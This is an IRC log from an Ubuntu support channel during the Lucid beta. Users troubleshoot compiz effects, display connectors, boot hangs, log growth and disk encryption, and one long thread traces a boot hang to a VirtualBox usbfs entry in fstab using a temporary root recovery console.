[08:45] <giantpune> the installer didnt let me select which keyboard layout to use.  so im stuck with no desktop and trying to figure out how to change the keyboard layout in the terminal
[08:45] <pa> where can i remove all the visual effects? only in preferences->appearence_
[08:45] <giantpune> any ideas?
[08:46] <pa> like the zooming when i hide a window
[08:47] <jbuncher> pa : install compizconfig-settings-manager
[08:47] <pa> thanks
[08:47] <Jordan_U> pa: jbuncher: You don't need to install anything to *disable* compiz.
[08:48] <pa> how can i disable compiz?
[08:48] <jbuncher> Jordan_U, from what I can tell, he just wants to tweak some specific settings
[08:48] <Jordan_U> pa: Like you thought, it's in System > Preferences > Appearance In the Desktop Effects tab
[08:48] <Dr_Willis> fusion-icon tool lets you easially disable/reenable compiz
[08:48] <pa> Jordan_U, well, i put to none
[08:48] <pa> but i still have some
[08:48] <pa> like this zooming when i lower a window
[08:48] <Dr_Willis> thats a gnome/metacity  feature perhaps?
[08:49] <pa> i see
[08:49] <Dr_Willis> try 'metacity --replace'   that should totally turn off compiz also
[08:49] <pa> can i do while i have gnome running_
[08:49] <pa> ?
[08:49] <Dr_Willis> gnome/metacity has had a silly animation whenit mimized
[08:49] <Jordan_U> pa: Do you mean just the outline of the window zooming?
[08:49] <pa> yes
[08:49] <Dr_Willis> pa:  err.. yes. :) it dont do much good torun that command without it running
[08:50] <Dr_Willis> Thats not compiz
[08:53] <DanaG> Sometimes when I log in, compiz is running, yet gtk-window-decorator is not.
[08:53] <Dr_Willis> yep - im amazed that compiz works as well as it does.. :)
[08:53] <Jordan_U> pa: It looks from gconf like there is no way to change that. Mybe XFCE or another window manager will act how you want (and be lighter)
[08:54] <phani> ﻿Dr_Willis: I have made it work with vmplayer + lucid lynx I used the on screen keyboard for ubuntu and logged in and i found that /etc/default/console-setup file is culprit
[08:54] <DanaG> No way to change what?
[08:54] <LordKow> joaopinto: if im following schroot_build.py correctly it should do everything i did and nothing more
[08:54] <DanaG> check in gconf under /apps/metacity
[08:54] <pa> ok, but now i try the i386 first of all : )
[08:54] <DanaG> there's a "low resources" mode of some sort.
[08:55] <phani> the problem is for the keyboard under the option  "XKBMODEL="Skip" .. so, i have change to pc105 and a restart fixed the issue
[08:55] <joaopinto> LordKow, yes
[08:55] <pa> DanaG, where do you mean?
[08:55]  * Dr_Willis tries hard to rember what phani's actual problem was.. :) plymouth?
[08:56] <DanaG> gconf-editor.
[08:56] <pa> /apps/metacity?
[08:56] <joaopinto> LordKow, it setups a schroot specifically for building
[08:56] <pa> ah
[08:56] <DanaG> Somewhere under there is random stuff.
[08:56] <pa> wow
[08:56] <pa> now linux has something like a registry
[08:56] <pa> unexpected.
[08:57] <LordKow> joaopinto: yea i didnt miss build-essential
[08:58] <Ken8521> pa, linux has had gconf-editor for a long time
[08:59] <pa> DanaG, that made the trick
[08:59] <DanaG> Actually, that's Gnome, more specifically.
[08:59] <pa> thanks!
[08:59] <Ken8521> ya
[08:59] <pa> brb
[09:00] <Blue11> what does it mean when they say the driver has been moved to a legacy support driver?
[09:00] <Ken8521> does KDE have something like gcnof-editor?  i hate kde, just curious
[09:00] <Dr_Willis> Blue11:  in ati's case - it means ati stopped supporting it and dumped the work off to the linux devs..
[09:00] <Blue11> Ken8521: like they say -- there's no place like gnome - I don't know
[09:01] <Dr_Willis> Ken8521:  not that ive seen
[09:01] <Blue11> Dr_Willis: how did you know that I was looking at the ati site?  must be a mind reader.
[09:01] <Dr_Willis> Blue11:  because ati  has constantly promised better support.. and that seems tobe their answer...
[09:01] <Dr_Willis> :)
[09:01] <phani> Dr_willis: my problem was can't use keyboard vmwareplayer + lucid lynx
[09:02] <Blue11> Dr_Willis: gonna see what a cheap nvidia card would run
[09:05] <Blue11> looks like I can get a used 8400 for $20
[09:05] <Dr_Willis> Yep. its amazing the cards you an get  these days.
[09:06] <Dr_Willis> Tomshardware and other hardware sites summed it up..
[09:06] <Blue11> oops pci
[09:06] <Dr_Willis> 'mainstream pcs - now have enough power to play most all games - at decent settings'
[09:06] <Dr_Willis> Its hard for me to justify a $200+ video card.
[09:07] <Blue11> is dvi out hdtv?
[09:08] <Dr_Willis> most HDTV's these days have hdmi in
[09:08] <Dr_Willis> hdmi is   whats replaceing dvi
[09:08] <Blue11> no no this card has dvi - I don't know what that means
[09:08] <Dr_Willis> dvi is the  digital cnector.
[09:08] <Dr_Willis> vga -> dvi -> hdmi
[09:08] <Dr_Willis> You want to NOT use vga these days.. unless you have to
[09:09] <Blue11> so it would not hook up to a digital monitor
[09:09] <Ken8521> dmi is the white one, several female holes in it.
[09:09] <Blue11> this is what I am lookin at:  eVGA  e-GeForce 6200LE - Graphics adapter - GF 6200LE - AGP 8x - 256 MB DDR2 -  DVI - TV out
[09:09] <Dr_Willis> dvi is for digital monitors.. yes
[09:09] <Dr_Willis> it has a dvi and a tv out conectors
[09:09] <Blue11> okay then I just would need a dvi kvm switch
[09:09] <Dr_Willis> kvm switches.. Ugh. :)
[09:09] <Mighty_Penguin> Dr_Willis, whats wrong with vga?
[09:09] <Dr_Willis> Mighty_Penguin:  it looks like... poo. :)
[09:10] <Dr_Willis> compared to the same setup with dvi.
[09:10] <Ken8521> Mighty_Penguin, lol, just dated
[09:10] <Blue11> my netbook has vga out - it looks great on my hdtv actually
[09:10] <Ken8521> Dr_Willis, i dn't think vga looks to bad, but...
[09:10] <Mighty_Penguin> I honestly don't get it then, I'm fine using vga on my 28"
[09:10] <Dr_Willis> Ken8521:  ive set upidentical monitors/machines trying the differnet ports.. and i could tell the diff.
[09:10] <Blue11> i have a 19 incher here and it works very well
[09:10] <Ken8521> why does skype keep giving me an "immediate attention/urgan system scan" notice.. saying i have a virus or malware, i'm not using Windows, can I turn that off
[09:10] <Dr_Willis> Plus  ive had a great more problems with X getting wrogn modes and stuff with VGA
[09:10] <Moo-Crumpus> hi, I could need some help. My wife updated her laptop from karmic to lucid, and gnome does not start up anymore. /etc/init/gdm.conf is of size ???? and owned by ????. I still can login to console, and can startx as sudo. Then x starts gnome. It would be nice if someone could send me a current /etc/init/gdm.conf.
[09:10] <Dr_Willis> switched over to dvi and things work a lot better.
[09:11] <Ken8521> Dr_Willis, i have no doubt, side by side, you could tell a difference
[09:11] <Dr_Willis> Rule of thumb - USE DVI if you can.
[09:11] <Blue11> Moo-Crumpus: i had the same problem - nuking the .gconf files fixed it.
[09:11] <Dr_Willis> many newer cards got hdmi :) thats  even more fun.
[09:12] <Mighty_Penguin> I've actually made it a point not using dvi just cause lol, I've never used it, and I'm gonna start using hdmi in a little bit
[09:12] <Blue11> dvi would work thenank
[09:12] <Moo-Crumpus> Blue11, but the gdm.conf is still broken, then. Which .gconf files have to be nuked? I don't know ubuntu very well.
[09:13] <Dr_Willis> ive had to hammer this hard-core gamer (at work) over and over telling him to use dvi.. he was using vga still when he had dvi pc/monitors..  he finally  dug out the dvi cable.. and next day he was .. 'why dident i switch earlier!'
[09:13] <Dr_Willis> :)
[09:13] <Blue11> !pastebin | blue11
[09:13] <Dr_Willis> The only real reason i can think of to stuck with VGA is for use with some of those KVM switches
[09:13] <Blue11> Moo-Crumpus: here:  http://paste.ubuntu.com/416542/
[09:14] <Blue11> Dr_Willis: my kvm switch audio as well
[09:14] <Blue11> but it's vga
[09:14] <Dr_Willis> Ive not checked prices on dvi KVM's lately
[09:14] <Dr_Willis> Blue11:  it is PS2 also ? :)
[09:15] <C-S-B-N900> Dr_Willis: why would you choose vga over dvi?
[09:15] <Dr_Willis> C-S-B-N900:  if your kvm switch supports ONLY vga
[09:15] <Blue11> Dr_Willis: it does ps/2 -- I guess it would do at if you had adapters
[09:15] <Moo-Crumpus> thank you, I will restart, and have a look. I guess, with /etc/init/gdm.conf gdm should just start up after booting?
[09:15] <C-S-B-N900> by a new kvm lol.
[09:16] <Dr_Willis> C-S-B-N900:  last i checked dvi kvm's were very pricy
[09:16] <C-S-B-N900> *buy
[09:16] <Blue11> Dr_Willis: yeah that's stopped me.
[09:16] <Dr_Willis> i dont use kvm's they often cause to many problems
[09:17] <C-S-B-N900> there are cheaper options than a kvm that will do for a lot of instances.
[09:17] <Mighty_Penguin> :o finally they updated the wallpapers :D
[09:17] <Blue11> wowsers - the dvi version of what I have for the vga is over $80 -- i payed like 25 for these
[09:18] <Dr_Willis> Blue11:  Bingo!
[09:19] <DanaG> KVVM tends to break EDID.
[09:20] <Dr_Willis> DanaG:  yep. that can be a big issue
[09:22] <C-S-B-N900> Pretty sure my plymouth still isnt working. could my encrypted lvm be a prob?
[09:23] <Blue11> C-S-B-N900: should have got a buick
[09:24] <C-S-B-N900> i dont know my american motors...
[09:24]  * Dr_Willis works for Chrysler
[09:24] <C-S-B-N900> or like.
[09:24] <Blue11> heh
[09:29] <Blue11> nytol (good night all)
[09:34] <Dr_Willis> weirdness.. cleaning out a HD.. and i got a .fuse_hidden000db600005 file that i cant delete.. i delete it - it comes back witha  different #
[09:38] <Mian> joaopinto, good morning, I am back
[09:50] <joaopinto> Mian, hey
[09:51] <joaopinto> Mian, I have found how to start upstart without running all the services
[09:51] <Dr_Willis> whouldent that be 'notstart' then? :)
[09:52] <joaopinto> Dr_Willis, right :) if there was such an option :P
[09:54] <joaopinto> Mian, ready ?
[09:55] <Mian> joaopinto, almost yes
[09:56] <syddraf> I am running Lucid Beta 2, and my networking has failed using a wired connection. The Windows boot on the same machine works fine using the wired connection. What can I do to troubleshoot this?
[09:57] <joaopinto> Mian, before we do that, do you have any detail about the "unable to install" problem ?
[09:57] <joaopinto> as it might be related
[09:57] <Mian> joaopinto, yes I reported it using apport as the crash report automatically detected
[09:58] <joaopinto> Mian, there was a crash ?
[09:58] <Mian> joaopinto, I'll find the bug url now
[09:59] <joaopinto> grrr, i need to write down your bug nrs :)
[10:00] <Mian> joaopinto, here is the report generated and sent automatically when I tried to install lucid from usb flash https://bugs.launchpad.net/ubuntu/+source/console-setup/+bug/565392
[10:00] <joaopinto> erm, this channel is not logged ?
[10:02] <joaopinto> hum, console setup, I can't see the error reason on the bug
[10:02] <joaopinto> well, lets continue
[10:02] <joaopinto> Mian, the first part is probably easy to do from the chroot
[10:03] <Mian> joaopinto, chroot or /sbin/sulogin?
[10:03] <joaopinto> any of them will do
[10:03] <Mian> joaopinto, ok, I'll choose /sbin/sulogin
[10:03] <joaopinto> if you use sulogin make sure your / is mounted rw
[10:03] <Mian> ok
[10:04] <joaopinto> mount -o rw,remount / (on the sulogin prompt)
[10:04] <joaopinto> then
[10:04] <joaopinto> cp -a /etc/init /etc/init.orig
[10:04] <joaopinto> rm /etc/init/*
[10:05] <joaopinto> edit /etc/init/sulogin.xonf
[10:05] <joaopinto> ops, conf
[10:05] <joaopinto>   start on startup
[10:05] <joaopinto>   exec openvt -c 7 -w sulogin
[10:05] <joaopinto> hum, let me try to follow from my vm
[10:06] <Dr_Willis> making a failsafe root console login eh? :)
[10:06] <\vish> !test
[10:06] <joaopinto> Dr_Willis, yup, a *really* recovery mode
[10:07]  * Dr_Willis plays along
[10:07] <Mian> joaopinto, you mean I create a new file in /etc/init/sulogin.conf and this file will be the only one in this dir?
[10:08] <joaopinto> brb
[10:09] <Dr_Willis> i changed the -c 7 to be -c 9 :)
[10:10] <Dr_Willis> testing it on the netbook
[10:11] <joaopinto> Mian, yes, we just want a console on startup
[10:11] <Dr_Willis> yep - it worked.
[10:11] <joaopinto> Mian, upstart (init) will try to start everything on that dir automatically
[10:12] <Dr_Willis> i used -c 9 and kept the files there for my working setup. :) now i got a root console on alt-ctrl-f9
[10:12] <joaopinto> eh :)
[10:12] <joaopinto> Mian, it migght be a good idead to use -c9 instead
[10:12] <Dr_Willis> Quick submit a tip to OMGubuntu!
[10:12] <joaopinto> Dr_Willis, is not done yet :P
[10:12] <Mian> joaopinto, after creating this file, what?
[10:13] <joaopinto> Mian, exec /sbin/init
[10:13] <joaopinto> it will look hang
[10:13] <joaopinto> but now you have an sulogin console on terminal 7, or 9, depending on the -c
[10:13] <Mian> joaopinto, with --debug or --verbose?
[10:13] <joaopinto> Mian, not sure, didn't tried those in this process yet, I guess --debug would help
[10:14] <Mian> joaopinto, now, I have the sulogin in terminal 7
[10:16] <Mian> joaopinto,now what?
[10:16] <joaopinto> Mian, now you can check the available services ans their status: initctl list
[10:17] <Mian> joaopinto, executing "initctl list" in terminal 7 gives 4 verbose lines
[10:17] <joaopinto> you only get sulogin right ?
[10:18] <joaopinto> on the list
[10:19] <switchgirl> http://ubuntuforums.org/showthread.php?p=9138631#post9138631 anyone got an answer to this?
[10:19] <Mian> joaopinto, now in terminal 7 I executed "initctl list" and it gives 4 lines that don't seem to be a list of services
[10:19] <joaopinto> hum, that is odd
[10:19] <lapion> Recently the the i915 has been crashing the system with hangcheck errors, while the server seemed to be running normally,
[10:21]  * lapion thinks the hangcheck code has a bug. ( ps I am talking about the i915 gpu driver)
[10:21] <joaopinto> grr, i can't switch to the VT on my VM now
[10:23] <joaopinto> erm typo
[10:23] <Mian> joaopinto, these are the 4 lines "init: Connection from private client"
[10:23] <lapion> hmm is a vt on a vm a vt or a vvt ? or a v-vt ?
[10:24] <joaopinto> Mian, ok, you are getting more output because you are using verbose or debug
[10:24] <joaopinto> it's vt on a vm :P
[10:24] <lapion> so it's a vt-vm or a vm-vt ?
[10:25] <lapion> or do 2 v's cancel each other..
[10:25] <Mian> init: job_class_register Registered job /com/ubuntu/Upstart/jobs/sulogin
[10:25] <Mian> joaopinto, should I continue?
[10:25] <joaopinto> Mian, yes
[10:25] <joaopinto> Mian, cp -a /etc/init.orig/* /etc/init
[10:25] <joaopinto> to make the other services available
[10:26] <lapion> anyhow.. anyone here know how to set the hangtimer value for the i915 ?
[10:26] <switchgirl> anyone know what the issue is with var.log... growing to more tha 30 gb
[10:26] <tormod> switchgirl, look inside it
[10:27] <tormod> lapion, try #ubuntu-x
[10:27] <switchgirl> tormod, who has 30gb ram?
[10:27] <joaopinto> switchgirl, that means there is something filling your logs
[10:27] <switchgirl> i have 2gb
[10:27] <joaopinto> SwedeMike, it has nothing to do with ram
[10:27] <joaopinto> ops, switchgirl
[10:27] <tormod> switchgirl, ls -l /var/log
[10:27] <Mian> joaopinto, and then? exec /sbin/init?
[10:27] <lapion> thnx tormod
[10:27] <joaopinto> Mian, now you can start the services by name
[10:28] <Mian> joaopinto, how?
[10:28]  * om26er recalls a Karmic bug..
[10:28] <joaopinto> Mian, the issue now is that upstart is event based, meaning, if you invoke a service, and there are services which start based on it's events, they will just do so in a chain reaction
[10:28] <joaopinto> Mian, unlike the ordered scripts from the past, which allowed you to start on a selective way
[10:28] <joaopinto> Mian, example: start hostname
[10:29] <switchgirl> i removed the offending logs so i can boot etc
[10:29] <tormod> switchgirl, which one was the offending one?
[10:29] <Mian> joaopinto, what service should I try to start now?
[10:29] <joaopinto> hostname is a good one to start with, it's simple
[10:31] <tormod> joaopinto, shouldn't he leave out some from /etc/init so he doesn't get into the normal avalanche?
[10:31] <switchgirl> well /var/log/kern.log  /var/log/kern.log.1 /var/log/messages.1  /var/log/ufw.log.1  /var/log/syslog.1 /var/log/syslog /var/log/messages  /var/log/ufw.log
[10:31] <joaopinto> tormod, it should, unless we just pick scripts on the end of the chian
[10:32] <joaopinto> chain
[10:32] <joaopinto> Mian, you can try the "mountall" which will trigger most of the core services, but not gdm
[10:32] <om26er> https://bugs.launchpad.net/ubuntu/+source/rsyslog/+bug/453444
[10:32] <joaopinto> there are some chances it will hang :P
[10:32] <om26er> maybe?
[10:32] <switchgirl> totalling over 30gb this time
[10:33] <Mian> joaopinto, yes it hung :P
[10:33] <tormod> switchgirl, use "less" to look at the files, there is probably 29GB of one message repeated
[10:34] <switchgirl> tormod, i removed the logs
[10:34] <tormod> joaopinto, but will not finished mountall trigger stuff which eventually triggers gdm?
[10:34] <switchgirl> but last time it totaled 80gb
[10:34] <joaopinto> Mian, mountall starts: avahi-daemon rsyslog udev uptart-udev-bridge dbus plymouth network-manager ufw network-interface-security
[10:34] <tormod> or is the /etc/init not "watched"?
[10:35] <Mian> joaopinto, so?
[10:35] <tormod> switchgirl, well look in the new logs, they must already be growing
[10:35] <joaopinto> Torch, it didn't on my experience, it might depend on another script which starts on startup (which was not available on init startup)
[10:36] <joaopinto> grr, I cant' scroll on the VT
[10:36] <joaopinto> Mian, I am not sure the debug/verbose output shows the services being started
[10:36] <tormod> joaopinto, maybe you should use "screen" :)
[10:36] <om26er> sometime ctrl+shift+v dont paste in terminal although I can paste with right click
[10:37] <joaopinto> tormod, good idea :D
[10:37] <joaopinto> on my case will help, but not on him, hang ;)
[10:37] <Mian> joaopinto, I rebooted and waiting on terminal 7 again now
[10:39] <joaopinto> Mian, try "exec mountall --daemon" that is what mountall does, but you will not triger the chain reaction
[10:39] <joaopinto> Mian, without the "exec"
[10:39] <joaopinto> just mountall --daemon
[10:39] <joaopinto> or just mountall, not sure what would be best since we are not upstart
[10:41] <joaopinto> just "mountall" from vt7 should do
[10:41] <Mian> joaapinto, I tried mountall --daemon and it prints some messages complaining about /proc/bus/usb couldn't be mounted
[10:42] <joaopinto> Mian, did you edit something on your previous system to use virtualbox+usb ?
[10:42] <Mian> joaopinto, I think so
[10:42] <joaopinto> Mian, hum, I don't get that error, and I do remeber virtualbox reuired that
[10:43] <joaopinto> and it could be what is triggerign the hang
[10:43] <joaopinto> which explains why the livecd boots, that will not be mounted
[10:43] <Mian> joaopinto, what if I uninstalled virtualbox
[10:43] <Mian> ?
[10:43] <joaopinto> Mian, will not help, that change was done manually
[10:44] <joaopinto> Mian, grep "usb" /etc/fstab
[10:44] <switchgirl> anywone know why i suddenly get: Failed to fetch http://packages.medibuntu.org/dists/lucid/Release.gpg  Could not connect to packages.medibuntu.org:80 (88.191.82.11). - connect (110: Connection timed out)Failed to fetch http://packages.medibuntu.org/dists/lucid/free/i18n/Translation-en_GB.bz2  Unable to connect to packages.medibuntu.org:http:Failed to fetch http://packages.medibuntu.org/dists/lucid/non-free/i18n/Translation-en_GB.bz2  Unable t
[10:44] <switchgirl> o connect to packages.medibuntu.org:http:Failed to fetch http://packages.medibuntu.org/dists/lucid/free/binary-i386/Packages.gz  Unable to connect to packages.medibuntu.org:http:Failed to fetch http://packages.medibuntu.org/dists/lucid/non-free/binary-i386/Packages.gz  Unable to connect to packages.medibuntu.org:http:Failed to fetch http://packages.medibuntu.org/dists/lucid/free/source/Sources.gz  Unable to connect to packages.medibuntu.org:ht
[10:44] <switchgirl> tp:Failed to fetch http://packages.medibuntu.org/dists/lucid/non-free/source/Sources.gz  Unable to connect to packages.medibuntu.org:http: Some index files failed to download, they have been ignored, or old ones used instead.
[10:45] <switchgirl> oops :(
[10:45] <joaopinto> switchgirl, medibuntu is probably down
[10:45] <switchgirl> sorry
[10:45] <switchgirl> i didnt know there was that much there...
[10:46] <Mian> joaopinto, none /proc/bus/usb usbfs devgid=127,devmode=664 0 0
[10:46] <kuttans> hello everybody
[10:46] <joaopinto> Mian, edit your fstab and remove it
[10:47] <joaopinto> Mian, try mountall now
[10:47] <kuttans> hey guys i figured out a lot of things about encrypted hard disk n how the initrd image does process that
[10:47] <Mian> joaopinto, but when I boot with /sbin/sulogin and execute mount -a, it works without hang
[10:47] <kuttans> now what i want is some help regarding editing the /usr/share/initramfs-tools/scripts/cryptroot
[10:48] <joaopinto> Mian, but that one in the upstart events loop could trigger a bug
[10:48] <joaopinto> Mian, that hang could be by the other interactions, not from the "mountall" per si
[10:48] <kuttans> i luksFormatted my hard disk fully with a key and kept the key in a partition of usb drive which is again luksformatted protected by a pass phrase
[10:49] <joaopinto> kuttans, write on a page, randomly pasting it here will not very helpful for those which may need it and are not here ;)
[10:49] <joaopinto> not be
[10:49] <kuttans> ok joaopinto
[10:49] <Mian> joaopinto, I get "mountall: Could not connect to Upstart: Failed to connect to socket /com/ubuntu/upstart: Connection refused"
[10:50] <kuttans>  hey guys i figured out a lot of things about encrypted hard disk n how the initrd image does process that now what i want is some help regarding editing the /usr/share/initramfs-tools/scripts/cryptroot   i luksFormatted my hard disk fully with a key and kept the key in a partition of usb drive which is again luksformatted protected by a pass phrase
[10:50] <joaopinto> Mian, you did that from the vt7 after starting /sbin/init ?
[10:51] <Mian> no, sorry :D
[10:51] <joaopinto> Mian, anyway I am confident about the usb problem
[10:51] <joaopinto> let's pray
[10:51] <joaopinto> boot normal now :P
[10:53] <kuttans> the scripts/local-top/cryptroot is called before my keyscript is called.  There the crypttab information is passed as a parameter.  A method in that script look for a luksformatted hdd and ask for a passphrase and unlocks it.  there i want to exploit that method so that it wait for usb and after that it check the partition in the usb for luks and ask a passphrase and after that use the decrypted key to open my hdd. can anyone throw some light on how i ca
[10:53] <kuttans> n achieve this.
[10:53] <Mian> joaopinto, God heard your prays! excellent! it boots normally :D
[10:54] <joaopinto> Mian, uff, a LOT of work for such a simple problem
[10:54] <Dr_Willis> ya know its scary when you start cleaning out your HD's and find several 100+GB of extra copies of stuff laying about
[10:55] <Mian> joaopinto, thanks a lot. I really don't know how to thank you
[10:55] <joaopinto> Mian, upstart/mountall should have provided an indication that there was something wrong with that mount instead of hanging
[10:55] <joaopinto> Mian, well, we wouldn't fix it without your patience :)
[10:55] <Mian> joaopinto, so, will you add these details to the bug description?
[10:55] <joaopinto> Mian, do have any idea how that line gone into your fstab ? Was you manually adding it in the past, or was it the virtualbox install ?
[10:56] <joaopinto> Mian, yes, just let me know the bug nr, I Am also going to try to reproduce it adding that line
[10:56] <Mian> joaopinto, bug is here https://bugs.launchpad.net/ubuntu/+bug/565109
[10:57] <Mian> joaopinto, I don't remember as I installed virtualbox more than a year ago
[10:57] <Mian> joaopinto, but as I remember, I modified some files manually to get usb work in virtualbox
[10:58] <joaopinto> ok, so it's probably that, let's see what priority it gets
[10:59] <Mian> joaopinto, https://help.ubuntu.com/community/VirtualBox/USB
[10:59] <Mian> joaopinto, this page instructs to add this line manually
[11:00] <joaopinto> Mian, great, it gives a hint that it will affect all users that followed that
[11:00] <Mian> joaopinto, I think so
[11:01] <kuttans> joaopinto : only the those who belong to the group i guess
[11:01] <joaopinto> Mian, don't forget to remove the /etc/init/sulogin.conf, and it provides a passwordless root login on vt7 ;)
[11:01] <joaopinto> as
[11:02] <DASPRiD> passwordless root… bad idea :P
[11:02] <kuttans> joaopinto : Mian : there is another work around for the VBox i guess .  the fstab one is old
[11:02] <joaopinto> kuttans, is are out of sync, the fstab entry was a problem, not a fix :)
[11:02] <joaopinto> you
[11:03] <Mian> joaopinto, so, you mean there is a but in mountall?
[11:03] <joaopinto> Mian, mountall or upstart, I am not sure whos is misbehaving
[11:03] <kuttans> before jaunty it was a problem. but in jaunty and to some extent in karmic the fstab itself was enough
[11:05] <kuttans> anyone using full disk encryption with a usb key and a passphrase?
[11:06] <lalalol> will 10.04 include en-CA?
[11:06] <kuttans> two form authentication using usb key and a passphrase to encrypt full disk
[11:06] <Mian> joaopinto, so, will I be able to use usb in virtualbox or not?
[11:08] <joaopinto> Mian, I believe virtualbox usb support no longer needs that mount, but I am not sure
[11:11] <Mian> joaopinto, thanks a lot
[11:11] <joaopinto> you are welcome :)
[11:12] <Mian> joaopinto, by the way my name is Mina not Mian. Mian was a mistyping :D
[11:12] <joaopinto> lol, ok :)
[11:13] <Mian> joaopinto, thanks a lot for all your efforts these 3 days. bye
[11:13] <lalalol> will 10.04 include en-CA?
[11:14] <kuttans> anybody using a full disk encryption in lucid
[11:15] <Dr_Willis> Im not that brave
[11:15] <Dr_Willis> :)
[11:15] <DASPRiD> kuttans, full disk encryption has not so many advantages over partial encryption, at least for non-laptops
[11:16]  * Dr_Willis encrypts his ram
[11:16]  * DASPRiD encrypts Dr_Willis and throws away the keyslot
[11:18]  * Dr_Willis rot13'a his name
[11:22] <nils1> hej folks! may anyone help me? i am not able to install gnome-shell - it tells me that libgjs0 cant be installed..
[11:22] <Dr_Willis> nils1:  its had that issue for the last 2 weeks+
[11:22] <Dr_Willis> somthing about xlurunner versions being  wrong
[11:23] <nils1> mmh.. and how may that be solved in future?
[11:23] <Dr_Willis> no idea
[11:24] <Dr_Willis> forums might have a work around..  Hopefuly it will get fixed befor release
[11:24] <kuttans> am using laptop and its quite good for me
[11:25] <nils1> kuttans: are you running gnome-shell?
[11:25] <Dr_Willis> Never really tried it. I use the Netbook edition on my netbook
[11:25] <kuttans> nils1: no im not
[11:26] <Reckon> hello, is this the room to ask about 10.04?
[11:26] <DASPRiD> yes
[11:26] <kuttans> DASPRiD:im having a laptop and i dont have any problem with that so far. but now i want to integrate the challenging procedure via plymouth than CLI
[11:26] <lalalol> will 10.04 include en-CA?
[11:27] <Reckon> regarding the boot process, is upstart being removed?
[11:27] <Dr_Willis> https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/509177
[11:27] <Dr_Willis> Reckon: Upstart is being phased in...
[11:28] <Reckon> how come? do you have more details?
[11:29] <Dr_Willis> Reckon:  why do you think its being phased OUT ? when its been slowly getting phased into  and rplaceing sysv stuff over the last 3+ releases
[11:30] <Reckon> wait, let me paste a link
[11:31] <nils1> yes, the bug that affects me is https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/555155 libgjs0 seems to be broken..
[11:31] <Dr_Willis> nils1:  yep. seems  libgjs0 is the issue
[11:36] <Reckon> Dr. Willis, I'm trying to find out the link. Anyway, I can't find in my 10.04 install the /etc/event.d directory, which is supposed to replace the /etc/init.d one to implement the Upstart
[11:36] <Dr_Willis> Reckon:  /etc/init  has teh upstart  configs/files
[11:37] <Dr_Willis> I dont recall ever seeing an /etc/event.d
[11:37] <nils1> just subscribed to it, hoping for a fix via update.. :-) its really a pitty - i thought that maybe foresight might have shipped a proper ability for gnome-shell, but that doesnt work either
[11:38] <Dr_Willis> nils1:  it seems the gnome-shell stuff has some interesting ways in how it was linking to some libs.. (from what i am reading in the bug reports)
[11:38] <nils1> yes
[11:39] <Reckon> Dr. Willis, this an excerpt of an article "Ubuntu started using the Upstart init daemon in Feisty. Between the Feisty and Gutsy+2 releases, Ubuntu will move away from the SysVinit setup and toward the cleaner, more flexible Upstart setup. As more system services are put under the control of Upstart, entries in the /etc/event.d directory will replace the contents of the /etc/init.d and /etc/rc?.d directories. Runlevels will no longer be a fo
[11:39] <nils1> quite funny for those here at gnome, who dont like the shell thing..
[11:42] <lalalol> will 10.04 include en-CA?
[11:42] <Dr_Willis> Reckon:  that artical may be outdated.
[11:43] <Dr_Willis> the various  upstart service.conf files are in /etc/init right now
[11:43] <Dr_Willis> theres still an init.d dir
[11:43] <Dr_Willis>  a upstart service handles the stuff in the rc.d  so most people dont even notice the change
[11:45] <vistakiller1> suspend hibernate still not working in my system
[11:45] <vistakiller1> anyone else has the same problem?
[11:45] <Dr_Willis> just closing the lid. crashes my netbook :)
[11:45] <Dr_Willis> or at least it used to.
[11:45] <Dr_Willis> lets try now
[11:46] <Dr_Willis> yep - it still does...
[11:47] <Reckon1> http://www.ubuntu.com/getubuntu/releasenotes/910
[11:47] <nils1> by the way, has anyone of you ever faced a crash of evolution the last weeks?
[11:47] <Dr_Willis> I never use evolution
[11:47] <nils1> mmh..
[11:47] <Reckon1> was able to find it
[11:48] <Reckon1> they removed that folder back in 9.10
[11:48] <nils1> since the last updates of 9.10 evolution tries to start and then immediately self-closes
[11:49] <nils1> telling in the notification area of the windows that the receiving of new mail failed
[11:49] <nils1> thats really annoying!
[11:51] <Bigbrumbrum> Hi! Installing lucid destroys your Xp installation, and you need to repair your broken xp with a repair disk
[11:51] <coc0nut> Is this your personal experience or do you have evidence that it is a bug which affects many people?
[11:51] <Dr_Willis> File a bug report I guess...
[11:51] <nils1> and installing windows destroys grub also.. :-)
[11:51] <Dr_Willis> It dident affect me that way
[11:52] <Bigbrumbrum> i've tried it on 6 computers
[11:52] <Bigbrumbrum> all with grub dual boot
[11:52] <nils1> which part of windows does it destroy?
[11:52] <coc0nut> Probably just the master boot record on the hard disk.
[11:52] <Bigbrumbrum> the boot up-files
[11:53] <nils1> thats what i called kind of egocentric behaviour of windows the last few years, i cant believe that ubuntu does the same today!
[11:54] <Reckon1> and is it a known issue not being able to install libsexy2?
[11:54] <Dr_Willis> I doubt if it does..  why would it do it on some machines.. and not everyone..  when in doubt check the bug reports I guess
[11:54] <coc0nut> I've never seen Ubuntu "destroy" the MBR. It writes grub's loader to it.
[11:54] <Dr_Willis> Reckon1:  ive seen mentoon of libsexy a few times - but not tried to install it lately
[11:55] <Dr_Willis> coc0nut:  exactly..   and if some viruses are there.. that can goof up windows. :) when the vbirus is no longer there..  heh
[11:55] <Dr_Willis> had that happen once...
[11:55] <coc0nut> Viruses..
[11:55] <coc0nut> Such a distant memory for me.
[11:55] <Dr_Willis> Had to reinfect a friends pc.. so he could backup his files.. THEN whipe out the virus.
[11:55] <ojii> where would I get the lucid lynx packages for nvidia drivers (i can't use apt-get because when I'm booted i don't have internet)
[11:56] <Dr_Willis> libsexy2 is already the newest version
[11:56] <Bigbrumbrum> i dont have viruses, rly
[11:56] <Dr_Willis> Reckon1:  i got it installed here.
[11:56] <coc0nut> ojii: http://packages.ubuntu.com/search?searchon=names&keywords=nvidia
[11:56] <Reckon1> yea, but I get an invalid IP warning
[11:57] <coc0nut> ojii: The one you're looking for should be there somewhere.
[11:57] <ojii> ah thanks coc0nut
[11:57] <Dr_Willis> Reckon1:  huh?
[11:57] <Reckon1> only happens with that package
[11:57] <Dr_Willis> Reckon1:  server may be in process of updateing the files perhaps
[11:57] <Tux^> can some one please help, i had done a successful upgrade to 10.04 when beta1 was out. It was working fine till last night. After regular updates it is not booting anymore !!
[11:58] <coc0nut> Tux^: Any error messageS?
[11:58] <coc0nut> What exactly happens when you try to boot?
[11:58] <Reckon1> Imposible obtener http://archive.ubuntu.com/ubuntu/pool/main/libs/libsexy/libsexy2_0.1.11-2build2_i386.deb  403  Forbidden [IP: 91.189.88.40 80]
